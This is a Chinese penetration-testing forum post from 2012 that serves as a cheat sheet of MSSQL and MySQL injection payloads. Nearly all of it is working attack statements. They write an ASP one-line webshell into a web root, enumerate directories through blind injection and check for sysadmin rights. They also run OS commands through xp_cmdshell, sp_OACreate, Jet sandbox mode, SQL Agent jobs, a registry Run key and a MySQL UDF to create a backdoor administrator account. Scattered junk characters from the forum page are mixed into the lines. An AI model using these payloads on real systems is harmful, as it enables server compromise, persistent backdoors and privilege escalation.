中国网络渗透测试联盟

标题: mssql实用命令及导出一句话 [打印本页]

作者: admin    时间: 2012-9-13 17:49
标题: mssql实用命令及导出一句话
MSSQL语句导出一句话木马/ d; y  w( Y2 d3 N5 G& j
首先确定网站的WEB路径
* F: r" t* M% y% S;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马. n6 q% c$ U/ @, A

8 r) G! I- m- }5 j2 f7 g;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
8 }- S1 F  L. B//将一句话木马插入表中
- R1 _) Q- W9 S; p$ @4 T6 g. S+ {" l8 `2 a
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
5 A* D' w0 ~$ E, t; y/ I//导出一个ASP文件
0 B# P2 j2 W5 F1 N3 q( H+ S
+ |$ A+ }4 N, ]% g
4 \1 p% D1 G) L1 ?关于MSSQL列目录
( g/ n& F; }9 T- }* c5 r6 @;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表! I+ T* D) e- }8 Z) T$ z# p
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表  I3 T* I& q' m9 c

$ u3 e' G; }* U4 M2 U* ]& B/ |and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
# S* p/ }) Q4 L" _$ F% r4 o6 v4 y
0 h9 ^0 ~0 z2 NAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段6 H9 \4 a" G0 r7 q1 V# {; _) a6 w

% z; {1 X; r: Z! H$ X9 _And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
2 A- @/ V( S: s+ E) K/ g" N4 J
( A+ c- F" X- G% b- i) u# k
数据库版本和权限查看. E9 ]9 g1 B; ~5 ]# M9 w6 S
and 1=(select @@VERSION) //查看详细的数据库信息.; t* B& _$ j4 b1 @1 ^( t
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
# @3 S9 a! }6 Z' sand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER; @0 N$ ~" ~' _: W
( |7 H% k. F4 j9 a: y' x

4 f4 K3 S7 `& T4 C# x1.利用xp_cmdshell执行命令. C4 T: d( q  q  o! w- n3 [
exec master..xp_cmdshell 'net user rfire 123456 /add'4 z9 O) M7 ?0 p% }* j4 s: C3 g$ j; l
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
* I" @. x4 q/ {7 ^1 R
& E0 y1 o. L0 C% y4 H" s! S$ ^恢复xp_cmdshell存储过程
! z! c: }  T/ _1 CExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
7 Z. q, W( J$ u) n( G
/ I4 z; }" s* R
9 P* D6 N( Z) v; U3 Y1 b( ?2.利用SP_OAcreate和SP_OAMETHOD执行命令
9 u& G' f3 x% P& k在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
! O! ~" t) S  p: N& x: bDECLARE @shell INT //建立一个@shell实体0 x9 i8 N+ f' E$ Q
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
' H/ H* N/ g, I9 c, y7 UEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
% P' z/ D! Z2 H1 i, G  w
1 a& f  D8 v6 @! B" n5 t/ e
! y/ l: v7 @, x3.利用沙盒模式% B& F( M/ ?; z! U
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
5 {% C: l2 d! H" \; \9 j开启沙盒模式:
* E+ D/ S) E, K. b& p. xEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
" Q$ R6 X; [/ N( G. k5 x2 Y3 w, ]( Z" K4 c4 h! [1 g/ d. j* `
执行命令:4 X1 J" _* O' y3 ]. }' r
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
9 v7 V4 T0 m4 i9 D
: \+ M8 |$ H  B2 @0 l& {1 C0 G8 L
0 q0 c  j1 p: M: l5 r8 i, t6 A4.利用SQL代理执行命令
  R9 j' V8 P/ l# v6 \+ DEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
' W# ~7 S+ }5 ?! `- n4 Z
( O; D% y+ k6 s; L* Z执行命令:4 l: x8 G: z6 ]! D% B/ G$ L0 p
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
# r  \( i) S% E3 G/ X, F0 o+ ~exec sp_add_job 'x'
1 Z9 B3 Q. p3 Y( ?$ e/ ]/ ?0 Zexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业! a( a1 J( s$ I) F
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
9 W! s- z5 Q. _  x
) U3 t6 y/ C* m( u$ L% P1 d& P; Z9 n; i) G, @
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
8 m* F4 k" p1 P9 k0 Z* r$ f+ M4 jEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
0 ~$ p6 G$ e' J
8 M+ x( z2 {% c6 b3 z" o( \+ O
( l+ G1 e3 A) ]* B, H  N6 I1 A6.MYSQL的命令执行
5 Y7 E* f* \' s. hMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限). [$ z; A5 Q% p" r3 @# x
首先要在su.php下导出c:\windows\udf.dll
" X: D- M3 \" P2 Y/ a) \6 Q导出后执行创建自定义函数命令:+ F4 B& P, _9 m- R
Create Function cmdshell returns string soname 'udf.dll'2 f  `0 Z4 V/ u. F- S
执行命令: n# c% |* k: T+ P3 O$ Y0 w
select cmdshell('net user rfire 123456 /add')2 d3 i9 u8 `1 j9 K3 U  b" `
执行后删除函数 drop function cmdshell
4 p* o  x( i  _3 m: g7 g' E" w; L




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2